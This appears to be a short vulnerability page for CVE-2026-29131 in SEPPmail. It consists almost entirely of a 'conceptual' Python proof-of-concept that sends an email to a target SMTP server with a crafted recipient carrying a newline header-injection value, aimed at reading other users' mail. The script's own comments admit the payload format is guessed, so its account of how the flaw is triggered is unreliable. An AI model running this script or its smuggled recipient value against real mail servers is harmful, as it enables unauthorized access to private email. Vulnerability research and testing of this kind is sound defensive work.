CVE-2026-29131 SEPPmail邮件读取漏洞

# Conceptual PoC for CVE-2026-29131 # This script demonstrates sending a crafted email to test for information disclosure. # Note: Replace target_ip and recipient details based on actual environment testing. import smtplib from email.mime.text import MIMEText def send_crafted_email(target_server, sender, crafted_recipient): try: msg = MIMEText("Test content for vulnerability verification.") msg['Subject'] = "Test CVE-2026-29131" msg['From'] = sender # The crafted recipient address triggers the logic flaw msg['To'] = crafted_recipient # Connect to the target SMTP server with smtplib.SMTP(target_server, 25) as server: server.sendmail(sender, [crafted_recipient], msg.as_string()) print(f"[+] Email sent to crafted recipient: {crafted_recipient}") except Exception as e: print(f"[-] Error: {e}") # Example usage # Attacker might use a format like "[email protected][email protected]" or specific injection chars # depending on the specific parsing logic of SEPPmail. target = "mail.seppmail-target.com" sender = "[email protected]" # Crafted address attempting to read other's mail payload = "[email protected]%0aAttackerControlledHeader" send_crafted_email(target, sender, payload)